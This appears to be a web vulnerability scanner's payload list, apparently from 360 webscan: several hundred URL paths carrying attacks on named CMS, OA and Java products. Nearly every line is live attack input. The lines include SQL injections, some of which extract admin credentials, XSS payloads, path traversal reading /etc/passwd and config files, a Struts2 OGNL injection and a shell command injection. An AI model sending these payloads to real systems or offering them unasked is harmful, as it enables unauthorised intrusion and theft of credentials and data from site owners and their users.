/meetingroom/ShenQingInforDis.asp?OAID=-12%20AND%201993%20IN%20(char(119)%2bchar(101)%2bchar(98)%2bchar(115)%2bchar(99)%2bchar(97)%2bchar(110)%2bchar(58)%2bchar(105)%2bchar(59)%2bchar(102)%2bchar(105)%2bchar(110)%2bchar(100))%20---
/meida/iWebRevision.jsp?name=0000%22%3E%27%3Cscript%3Ealert%28%2742873%27%29%3C/script%3E;//
/member.action?class.classLoader.jarPath=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),%2b%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23webscan=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23webscan.println(@java.lang.System@getProperty(%22java.vendor.url%22)%2b%22d4f800167a6e317f35454ed9024eb310%22%2b%22http%3A%2f%2fwebscan.360.cn%22),%23webscan.close())(aa)&x[(class.classLoader.jarPath)('aa')]
/member.php?act=index
/member.php?infloat=yes&handlekey=123);alert(/webscan/);//
/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1&username=360webscan&password=ooxx&quickforward=yes&handlekey=webscan360
/member/
/member/ajax_membergroup.php?action=post&membergroup=@%60'%60%20Union%20select%20concat(0x3336307765627363616e,pwd,0x7c)%20from%20%60%23@__admin%60%20where%201%20or%20id=@%60'%60
/member/index.php
/member/index.php?ugid31=51'%20and%20'1122'='12
/member/special.php?job=show_BBSiframe&type=myatc&id=25&TB_pre=qb_pm%20where%20%201=2%20+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1))a+from+information_schema.tables+group+by+a)b%23
/members/
/mep-admin/userAction!queryUser.action?start=0&limit=10
/message.php?act=webscan'
/message/mytreedata.asp?bumenid=-12%20AND%201432=CONVERT(INT,(SELECT%20CHAR(119)%2bCHAR(101)%2bCHAR(98)%2bCHAR(115)%2bCHAR(99)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(105)%2bCHAR(59)%2bCHAR(102)%2bCHAR(105)%2bCHAR(110)%2bCHAR(100)))--%20&time=&time=
/mfs.cgi
/misc.php?mod=getuserinfo&uid=-1
/misc.php?mod=syscode&pnumber=C%27%20or%20%60%27%60%20%20or%20@%60%27%27%60%20union%20select%201%20from%20%28select%20count%28*%29,concat%28%28select%20database%28%29%29,floor%28rand%280%29*2%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%20%23%20@%60%27%60
/moadmin.php?action=listRows&collection=1&find=array(1);md5(1122);exit
/mobile/goods_list.php?type=1s'%20onmouseover=alert(/ed1e83f8d8d90aa943e4add2ce6a4cbf/)%20//
/mobile/index.asp?act=view&id=1%20union%20select%201,Username%26chr(124)%26CheckCode%20from%20%7Bpre%7Dadmin
/mobile/user.php?act=order_list
/model/TwoGradePage/Equipment_detail.aspx?id=11314%20and%201=(select%2bchar(106))%20--
/model/TwoGradePage/TrainSignUp.aspx?tblApparatusRepertoryListID=12%20and%201=(select%2bchar(106))%20--
/model/TwoGradePage/newsdetail.aspx?id=279&columnId=70%20and%201=(select%2bchar(106))
/model/twogradepage/listSend.aspx?appid=1%20AND%20CHAR(106)=1
/module/AIP/get_file.php?MODULE=/&ATTACHMENT_ID=.._webroot/inc/oa_config&ATTACHMENT_NAME=php
/module/AIP/upload.php?T_ID=1&RUN_ID=1%df'and%20(select%201%20from%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20user%20limit%201),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
/module/download.jsp?filename=..%5CWEB-INF%5Cweb.xml
/module/exceldown.jsp?filename=..%5CWEB-INF%5Cweb.xml
/module/exceldownload.jsp?filename=..%5CWEB-INF%5Cweb.xml
/module/rss/rssfeed.jsp?colid=-1986
/module/sel_seal/get.php?ID=%df'and%20(select%201%20from%20(select%20count(*),concat((select%20concat(0x3a,md5(1122),0x3a)%20from%20user%20limit%201),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23
/module/sitesearch/index.jsp?keyword=&columnid=-1650)%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20DUAL--%20&keyvalue=&webid=&currpage=2
/module/sitesearch/opr_classajax.jsp?classid=1%20UNION%20ALL%20SELECT%20NULL,CHR(100)%7C%7CCHR(58)%7C%7CCHR(118)%7C%7CCHR(105)%7C%7CCHR(58)%7C%7CCHR(121)%20FROM%20DUAL--
/module/voting/commonlist.jsp?classid=0&queid=-12)%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(59)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100),NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20DUAL--%20&m=yes&inlay=yes&answer=
/modules/pdflist.aspx?info_id=1/**/union/**/all/**/select/**/null,null,chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100),null,null,null/**/from/**/dual%20--
/monitoring?part=web.xml
/msgChat/download.jsp?url=msgChat/download.jsp
/myPaper/dk_zxksView.aspx?ksType=0&tID=-12')/**/and/**/1=char(106)--&ecID=1&ModuleID=78
/myadmin/
/myly.aspx?username=test'%20and%20@@version%3E0--
/nameedit.asp?table=bbs&id=1%20union%20all%20select%20null,null,null,null,char(119)%2bchar(101)%2bchar(98)%2bchar(115)%2bchar(99)%2bchar(97)%2bchar(110)%2bchar(58)%2bchar(105)%2bchar(59)%2bchar(102)%2bchar(105)%2bchar(110)%2bchar(100),null%20--&action=edit
/names.nsf
/navigate.do?method=getPolicyinfoDataById&id=2631&menuNo=05'%20and%201=(select%20char(106))%20--
/nd/transfer_nd_data_show.php?cid=-1%20and%201=2%20union%20select%20user(),md5(0x454154)%23
/netflow/servlet/CSVServlet?schFilePath=/etc/passwd
/netflow/servlet/DisplayChartPDF?filename=../../../../boot.ini
/nevercouldexistfilenosec
/nevercouldexistfilenosec.aspx
/nevercouldexistfilenosec.bak
/nevercouldexistfilenosec.php
/nevercouldexistfilenosec.rar
/nevercouldexistfilenosec.shtml
/nevercouldexistfilenosec.zip
/nevercouldexistfilenosec/
/nevercouldexistfilewebsec
/nevercouldexistfilewebsec.aspx
/nevercouldexistfilewebsec.bak
/nevercouldexistfilewebsec.php
/nevercouldexistfilewebsec.rar
/nevercouldexistfilewebsec.shtml
/nevercouldexistfilewebsec.zip
/nevercouldexistfilewebsec/
/news/bencandy.php?Rurl=pre-qb_members%20where%20(select%201%20from%20%20(select%20count(*),concat((select%20concat(0x3a,0x686B3A693A31393937,0x3a)%20from%20qb_members%20limit%200,1),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23.html
/news/huiyidetails.aspx?action=serach&id=1%20and%201=char(106)
/news/js.php?type=like&keyword=1%2527)/**/and/**/(select/**/1/**/from/**//**/(select/**/count(*),concat((select/**/concat(0x7e,0x7765627363616E3A693A66696E64,0x7e)/**/from/**/1tc_members/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**//**/information_schema.tables/**/group/**/by/**/x)a)%23
/news/newsInfoAction.shtml?infotype=-1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20and%20'at'='at
/news/news_details.aspx?id=-1&coid=-5%20and%201=char(106)%20--
/news/searchNewsAction.shtml?keywords='%7C%7C(SELECT%20'ijx'%20FROM%20DUAL%20WHERE%201122=1122%20AND%204567=UTL_INADDR.GET_HOST_ADDRESS((SELECT%20chr(119)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%20FROM%20dual)))%7C%7C'
/news/shuju/data.mdb
/news_display.php?id=2%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
/news_list.php?cat1id=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x686B3A693A31393937,0x333630),NULL%23&cat2id=10&unit_id=1
/news_list.php?cat1id=1&unit_id=1&cat2id=-1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,CONCAT(0x686B3A693A31393937,0x333630),NULL,NULL,NULL,NULL,NULL%23
/newssearch.aspx?skey=1%25'%20and%201=char(106)%20--
/nicknamelogin.jsp
/nobom.php
/nosec_Web_Scanner_Test.dll
/notes.php?action=view&nid=1-websec
/nvabar.php?todo=content&fid=1&m=-1%20UNION%20SELECT%201,2,3,4,concat(0x7c,md5(1122),0x7c),6,7,8,9,10
/oa/download_attach.aspx?attach_id=1'%20and%20(select%20char(106)%2bchar(106))%3E0--
/oa/student/ChengJiGenZong.asp?id='/**/and/**/1=char(106)--&%D3%EF%CE%C4=%D3%EF%CE%C4&%CA%FD%D1%A7=%CA%FD%D1%A7&submit1=%B2%E9%D1%AF
/oa/student/fenduan.asp?selyears=&selgrade=&seltestname=&selsubject='/**/and/**/1=char(106)--&manfen=100&buchang=20&submit1=%B2%E9%D1%AF
/oa/student/mainsubject_zixuan.asp?selyears=&seltestname='/**/and/**/1=char(106)--&selgrade=&selclass=&submit1=%B2%E9%D1%AF&%CC%E5%D3%FD=%CC%E5%D3%FD
/oa_server/App_Pages/App_page/News_add.aspx
/oa_server/App_Pages/App_page/UserSpuerAdd.aspx
/oa_server/App_Pages/App_page/user_list.aspx
/oa_server/App_Pages/App_page/user_update.aspx?userid=172
/oaerp/ui/sync/getContrastData.jsp?ID=-21%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(106)%2bCHAR(58),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20--&type=filed
/oaerp/ui/sync/getSyncInfo.jsp?oneKyeDetailId=11)%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(106)%2bCHAR(58)%2bCHAR(120),NULL%20--&act=oneKeyInfo
/objectbox/selectx_userlist.jsp?fn_Keywords=1'%20UNION%20ALL%20SELECT%20NULL,char(119)%2bchar(101)%2bchar(98)%2bchar(115)%2bchar(99)%2bchar(97)%2bchar(110)%2bchar(58)%2bchar(105)%2bchar(59)%2bchar(102)%2bchar(105)%2bchar(110)%2bchar(100),NULL--%20&perm=&cPage=1&tiao=
/old/
/onlineApply.do?method=initQlxm&depNo=321'%20AND%201122=(SELECT%20UPPER(XMLType(chr(60)%7C%7Cchr(101)%7C%7Cchr(98)%7C%7Cchr(115)%7C%7Cchr(99)%7C%7Cchr(97)%7C%7Cchr(110)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd
/opac/ajax_get_file.php?filename=../admin/opacadminpwd.php
/opac/ckgc.jsp?kzh=-1')%20UNION%20%20ALL%20SELECT%20%20NULL,NULL,CHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7CCHR(105)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20DUAL--
/opac/index.jsp?page=../web-inf/web.xml
/opacOpenurl/getOpenUrlByBookId/-1%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(119)%7C%7CCHR(101)%7C%7CCHR(98)%7C%7CCHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(110)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)))%20FROM%20DUAL)
/opac_two/application/course_manage2.jsp?action=delete&kechengmingcheng=1%25%27%20AND%207982%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2bCHAR%28101%29%2bCHAR%2899%29%2bCHAR%28102%29%2bCHAR%28113%29%2bCHAR%28113%29%2bCHAR%28115%29%2bCHAR%28107%29%2bCHAR%28118%29%2bCHAR%28113%29%29%29%20AND%20%27%25%27%3D%27
/opr_readfile.jsp?filename=opr_readfile.jsp
/outImg?imgPath=/etc/passwd
/outImg?imgPath=c:/boot.ini
/oxoxoxoxoxoxox.com
/oxoxoxoxoxoxox.com/
/page/html/?360webscan'.html
/pages/Data%20Transmission%20-%20o.php?Lang=../../../../../etc/passwd%00
/pages/collections.php?addsearch=%21last1000&restypes=&archive=0&mode=resources&daylimit=1%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,(MID((IFNULL(CAST(md5(0xe414)%20AS%20CHAR),0x20)),1,50)),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
/pages/en/Data%20Transmission.php?Lang=../../../../../etc/passwd%00
/pages/rc_port_config_ui.php?sec=1&prefix=;cat%20/etc/passwd;echo
/pages/search_disk_usage.php?archive=a'%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(SELECT%20md5(1122)%20from%20user%20limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20'1'='1
/pages/zh/Data%20Transmission.php?Lang=../../../../../etc/passwd%00
/pass.txt
/passwd
/password.txt
/passwords.txt
/pda/auth.php?P=%60%df'and%20(select%201%20from%20%20(select%20count(*),concat((select%20md5(1122)%20from%20user%20limit%201),floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a)%23&PASSWORD=test
/pf.php?mediafile=/../../../../etc/passwd
/pf/rate.php?id=1%20and%201=2%20UNION%20ALL%20SELECT%20NULL,sha1(0x3336307765627363616e)
/pf/ratemovie.php?id=1%20and%201=2%20UNION%20ALL%20SELECT%20NULL,sha1(0x3336307765627363616e)
/php-ofc-library/ofc_upload_image.php?name=ed1e83f8d8d90aa943e4add2ce6a4cbf.txt
/php/bill/list_userinfo.php?domain=site.org&ok=1&cp=1%20union%20select%20md5(1122),2,3,4,5%23
/php/mailaction1.php?action=x&index=1.2;echo+123456%3Ex1.txt
/php/report/include/config.inc
/php/report/include/ldap.inc
/php/report/include/util.inc
/php/report/lastlogin_list_export.php?time=1%20and%201=2%20union%20select%20md5(1122),2,3%20--%20&stime=hehe
/php/report/search_lastlogin.php?time=1%20and%201=2%20union%20select%20md5(1122),2,3%20--%20&stime=hehe
/phpMyAdmin/
/phpMyAdmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br][a%40http://webscan.360.cn%40]This%20Is%20a%20Link[%2Fa]
/phpMyAdmin/show_config_errors.php
/phpRedisAdmin/?overview
/phpcms/data/js.php?id=1
/phpinfo.php
/phpmyadmin/
/phpsso_server/?m=phpsso&c=index&a=getapplist&appid=1&data=
/phpsso_server/api.php?op=install&username=phpcms&password=reer&url=123&name=123&authkey=123&apifilename=123&charset=123&type=123&synlogin=123
/phpsso_server/api/uc.php?code=dec0Hfdu%2Fkh7g9qSMqxHkpAOUSB7uMJ2pqcxZm6kkdY0xAqAbUaqV3noA56dIyd908KlMSyij9SKQQ3U2gU5uHdUbLHh%2BF7ZnA3mVL2sjK5zXGI
/pic.aspx?classid=60)%20and%201=char(106)%20--
/picnews.asp?%69d=-1%20and%201=2%20union%20select%201,2,3,chr(106),5,6,7,8,9,10,11,12%20from%20admin
/piw/Job/positionDetail.jsp?ID=-1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7c,IFNULL(CAST(md5(0x234445)%20AS%20CHAR),0x20),0x7c),NULL,NULL,NULL,NULL,NULL
/piw/Member/UploadMemberAttach.jsp
/piw/MessageBoard/articleIframe.jsp?DataId=1&Code=2%27and/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x7c,0x6366726565723A693A6A78,0x7c,floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23
/piw/MessageBoard/message.jsp?DataId=1&Code=1%27and/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x7c,md5(0x234445),0x7c,floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23
/piw/Production/display/productSearch.jsp?keywords=1122'/**/and/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x7c,0x6366726565723A693A6A78,0x7c,floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)/**/and/**/'1'='1
/piw/Question/module/code.jsp?value=1'%20AND%20(SELECT%202554%20FROM(SELECT%20COUNT(*),CONCAT(0x7c,(MID((IFNULL(CAST(md5(0x234445)%20AS%20CHAR),0x20)),1,50)),0x7c,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'HgST'='HgST
/piw/Question/module/codebranchs.jsp?value=1'%20AND%20(SELECT%202554%20FROM(SELECT%20COUNT(*),CONCAT(0x7c,(MID((IFNULL(CAST(md5(0x234445)%20AS%20CHAR),0x20)),1,50)),0x7c,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'HgST'='HgST
/piw/School/SchoolTypeRegion.jsp?table=information_schema.schemata/**/where/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x7c,0x6366726565723A693A6A78,0x7c,floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)
/piw/Site/BadWordsExport.jsp?ids=888%20AND%20(SELECT%202798%20FROM(SELECT%20COUNT(*),CONCAT(0x7c,(MID((IFNULL(CAST(md5(0x234445)%20AS%20CHAR),0x20)),1,50)),0x7c,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
/piw/Site/KeyWordExport.jsp?ids=-111)%20union%20select%20Username,md5%281122%29,222,4444,5555%20from%20zduser%23
/plan/FloodPlan/FloodPlanFileShow.aspx?ReadOnly=&ID=499'%20AND%203=CHAR(106)%2bCHAR(99)%20--&filetype=156&ParentID=0&adomParameter=292
/plug/collect/AspCms_CollectFun.asp?action=getlinklist&todo=this&CollectID=1%20and%20%202=iif((1=1),2,chr(97))
/plugin.php?id=Network114:Network114&ljtype=1%bf%27
/plugins/?q=area&area_id=-1%20union%20select%201,md5(0x7765627363616e),3,4,5,6%23
/plugins/annotate/pages/get.php?ref=1%27%20AND%20(SELECT%206564%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,(MID((IFNULL(CAST(md5(0xe414)%20AS%20CHAR),0x20)),1,50)),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20%27a%27=%27a
/plugins/phpdisk_client/passport.php?YWN0aW9uPXBhc3Nwb3J0bG9naW4mdXNlcm5hbWU9MSZwYXNzd29yZD0xJnNpZ249NjdBMTAwNDc5QTQ4OTMyOUEzMTIxRUM0QTM2M0FBNzcmdHBmPXBkX3VzZXJzIHdoZXJlIGdpZD0xIGFuZCAoYXNjaWkoc3Vic3RyaW5nKChzZWxlY3QgdXNlcm5hbWUgZnJvbSBwZF91c2VycyB3aGVyZSBnaWQ9MSBsaW1pdCAwLDEpLDEsMSkpPTk4KSBsaW1pdCAwLDEj
/plugins/qmail/MailTo.aspx?mail=1%27and%02CHAR(106)%2bCHAR(39)%3E0%02and%02%271%27=%271
/plugins/weathermap/weathermap-cacti-plugin.php
/plus/
/plus/Ajaxs.asp?action=GetRelativeItem&Key=goingta%2525%2527%2529%2520%2575%256E%2569%256F%256E%2520%2573%2565%256C%2565%2563%2574%25201,2,username%252B%2527%257C%2527%252Bpassword%20from%20KS_Admin%2500
/plus/Promotion.asp
/plus/ad_js.php?aid=1&nocache=1
/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27%20a%3C%3End%201=2%20un%3C%3Eion%20sel%3C%3Eect%201,md5(1122),3%20fr%3C%3Eom%20qs_admin%23
/plus/ajax_officebuilding.php?act=key&key=%E9%8C%A6%27%20a%3C%3End%201=2%20un%3C%3Eion%20sel%3C%3Eect%201,2,3,md5(1122),5,6,7,8,9%23
/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20UNION%20SELECT%201,2,3,md5%281122%29,5,6,7,8,9%23
/plus/bshare.php?dopost=getcode&uuid=%22%20onload=alert%281%29//
/plus/carbuyaction.php?dopost=return&code=../../index
/plus/carbuyaction.php?dopost=return&code=../../tags
/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=35
/plus/outside.php?id=../template/default/style/yun_index.css%00
/plus/pf/rate.php?id=111%3D@%60%5C'%60+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+sha1(0x3336307765627363616e)),1,62)))a+from+information_schema.tables+group+by+a)b)%23@%60%5C'%60+]=a
/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=%5C'%20%20or%20mid=@%60%5C'%60%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,0x484B3A313A31393937,0x7c)+from+%60%23@__admin%60%20limit+0,1),5,6,7,8,9%23@%60%5C'%60+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6878
/plus/recommend.php?aid=1&action=sendmail&title=%3Ciframe%20src=http://xxooxxoo.js%3E
/plus/search.php?typeArr[2%27%20and%20@%60%5C%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28Select%20md5%280x7765627363616e%29%29%2C1%2C62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
/por/login_psw.csp
/portal/WEB-INF/web.xml
/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd
/portal/getJsonData.action?userId=9090&ruleID=portal-common.getProFileInfo
/portal/group/articl.php?portal_id=3&column_id=3&content_id=184)%20and%20(select%201%20from%20(select%20count(*),concat(0x3a,md5(1122),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%20and%20(1)=(1
/portal/logoImgServlet?language=ch&dataCenter=&insId=insId&type=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00
/portal/por_modules_add.jsp?ModuleID=1'%20UNION%20all%20SELECT%20NULL,0x3E5F6F686568655F3C%23
/portal/query_user_password_qustion.aspx?user_name=%20just_test'%20and%201=char(106)%20--
/post.php?action=reply&fid=17&tid=1591&extra=&replysubmit=yes&infloat=yes&handlekey=,prompt(42873)
/post.php?part=input&catid=8%DF%27%20OR%201%20GROUP%20BY%20CONCAT%280x7e21%2Cmd5%280x451545%29%2C0x217e%2CFLOOR%28RAND%280%29%2a2%29%29%20HAVING%20MIN%280%29%20--%20vDZN
/posthistory.php?tel=IiBhbmQoc2VsZWN0IDEgZnJvbShzZWxlY3QgY291bnQoKiksY29uY2F0KChzZWxlY3QgKHNlbGVjdCAoU0VMRUNUIENIQVIoMTAwLCA1NiwgMTAwLCA1NywgNDgsIDk3LCA5NywgNTcsIDUyLCA1MSwgMTAxLCA1MiwgOTcsIDEwMCwgMTAwLCA1MCkpKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgbGltaXQgMCwxKSxmbG9vcihyYW5kKDApKjIpKXggZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIGdyb3VwIGJ5IHgpYSkj
/poweb/CDHelp.jsp?ISOID=3'%20union%20all%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,null,char%28104%29%2bchar%28107%29%2bchar%2858%29%2bchar%2849%29%2bchar%2858%29%2bchar%2849%29%2bchar%2857%29%2bchar%2857%29%2bchar%2855%29,null,null,null%20%20--%20
/price.asp?kind=1%27%20UNION%20ALL%20SELECT%20NULL%2CCHR%28106%29%26CHR%2858%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
/print/search_print_proof.jsp?proof_no=just_sql_test'
/private/
/product-xxx-%3Cscript%20language=%22php%22%3Eecho%20%22webscan%22;-_set_compile.html
/product_view.asp
/productpic.aspx?id=100611)%20and%201=char(106)%20--
/products.asp
/prog/get_passwd_1.php?user=hehe%3Cscript%3Ealert(42873)%3C/script%3E%20
/projects
/protextbox.asp?hw_%69d=513%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,chr(88),16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20admin
/prozhanshi/yuxi.aspx?id=-306'%20and%201=char(106)%20and%20'at'='at
/prozhanshi/zice.aspx?id=-101'%20and%201=char(106)%20AND%20'at'='at
/pub/downloadfile.php?DontCheckLogin=1&url=/datacache/../../../tsvr/turbocrm.ini
/pub/help.php?key=YToxOntpOjA7czozMDoiLy4uLy4uLy4uLy4uL3RzdnIvdHVyYm9jcm0uaW5pIjt9
/pub/help2.php?key=/../../tsvr/turbocrm.ini
/pub/search/default.asp?id=-1/**/and/**/1=char(106)--
/pub/search/search_video.asp?id=79/**/and/**/1=char(106)--&mid=51
/pub/search/search_video_bc.asp?id=12&mid=-1/**/and/**/1=char(106)--&yh=1
/pub/search/search_video_view.asp?id=3&mid=4%20and%201122=CONVERT(INT,(SELECT%20char%28119%29%2bchar%28101%29%2bchar%2898%29%2bchar%28115%29%2bchar%2899%29%2bchar%2897%29%2bchar%28110%29%2bchar%2858%29%2bchar%28105%29%2bchar%2859%29%2bchar%28102%29%2bchar%28105%29%2bchar%28110%29%2bchar%28100%29))&yh=1
/public/
/public/jspdownload.jsp?FileFullPath=%5Cetc%5Cpasswd&FileName=passwd
/public/jspdownload.jsp?FileFullPath=c:%5Cwindows%5Cwin.ini&FileName=win.ini
/public/minify.php?f=../ooxxooxxo/hehe.js
/queryserverinfo.php?puchanid=%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28concat%28md5%280x4515421%29%2C0x7c%2Cdatabase%28%29%2C0x7c%2Cuser%28%29%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29
/queryserverinfo.php?type=4&=3&puchanid=-1+or+1=1+and+(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*),CONCAT(md5(0x7765627363616e),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)
/radcontrols/editor/dialog.aspx?dialog=ImageManager&editorID=');%3C/script%3E%3CScRiPt/acu%20src=1%20onerror=alert(42873)%3E%3C/ScRiPt%3E%3Cscript%3E//&language=zh_CN&sessionID2=8ca6abaf-d361-328c-9178-%20f78311cd0329&UseEmbeddedScripts=yes&useSession=0
/redmine/
/report/reportServlet?action=4&url=http://127.0.0.1&file=wait_trace.raq&columns=0&srcType=file&width=-1&height=-1&cachedId=A_2&t_i_m_e=&frame=stu_saveAs_frame--%3E%3C/sCrIpT%3E%3CsCrIpT%3Ealert(42873)%3C/sCrIpT%3E
